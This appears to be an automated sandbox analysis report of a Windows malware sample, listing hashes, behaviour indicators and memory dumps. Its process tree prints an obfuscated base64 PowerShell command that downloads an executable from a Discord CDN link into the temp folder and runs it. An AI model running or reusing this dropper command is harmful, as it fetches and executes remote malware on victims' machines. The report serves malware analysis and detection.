072931fd01b16c71a5ba0c89c4d17151127795231c9baf26ad393002327f6af4

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26-12-2023 01:54

Target

d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe
Size

5KB
MD5

805299701ce93e36f34b01f5805c09f5
SHA1

3573f93d3388363e418a4570e6f97270439aeac2
SHA256

d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db
SHA512

a5140f73f6da312e885587867275fb765bfc56440d1c1fe8c8f7c53797730ecb9c7ba6026f0f0902a9ec6f33d082deb507cafd7b9a0177ab3e5676cb7826031f
SSDEEP

96:+aR79Ru3VI2Ben5eTUqh4589/zs7LuXlXk3d3ojqrl:9R9Ru33BeniUqhE89/zSqy3d1

Score

8^/10

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1316	powershell.exe
4	1316	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1316	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 1316	1772	d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe	18
PID 1772 wrote to memory of 1316	1772	d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe	18
PID 1772 wrote to memory of 1316	1772	d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe	18

C:\Users\Admin\AppData\Local\Temp\d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe
"C:\Users\Admin\AppData\Local\Temp\d9e4201c44aa17b9a3a1e876ce727cf220ab98b22dc71a8c5002025917fd75db.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAagBxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAxADgANwA4ADYANwAwADQANAA0ADYANQA2ADEAOQAxADEANgAvADEAMQA4ADcAOAA2ADcANAAxADYAMwAxADUAOAAzADQANQA2ADgALwAyADIAZAAuAGUAeABlACcALAAgADwAIwBsAGYAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAYwBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADEASABEAFUARQBaAC4AZQB4AGUAJwApACkAPAAjAGoAbgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAZABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBoAGwAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAEgARABVAEUAWgAuAGUAeABlACcAKQA8ACMAbgB1AGoAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1316

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1316-6-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/1316-9-0x0000000002D50000-0x0000000002DD0000-memory.dmp

Filesize
512KB

Download
memory/1316-8-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-13-0x0000000002D50000-0x0000000002DD0000-memory.dmp

Filesize
512KB

Download
memory/1316-12-0x0000000002D50000-0x0000000002DD0000-memory.dmp

Filesize
512KB

Download
memory/1316-11-0x0000000002D50000-0x0000000002DD0000-memory.dmp

Filesize
512KB

Download
memory/1316-10-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

Filesize
9.6MB

Download
memory/1316-7-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/1316-14-0x0000000002D50000-0x0000000002DD0000-memory.dmp

Filesize
512KB

Download
memory/1316-15-0x000007FEF4850000-0x000007FEF51ED000-memory.dmp

Filesize
9.6MB

Download
memory/1772-0-0x00000000000E0000-0x00000000000E8000-memory.dmp

Filesize
32KB

Download
memory/1772-1-0x000007FEF51A0000-0x000007FEF5B8C000-memory.dmp

Filesize
9.9MB

Download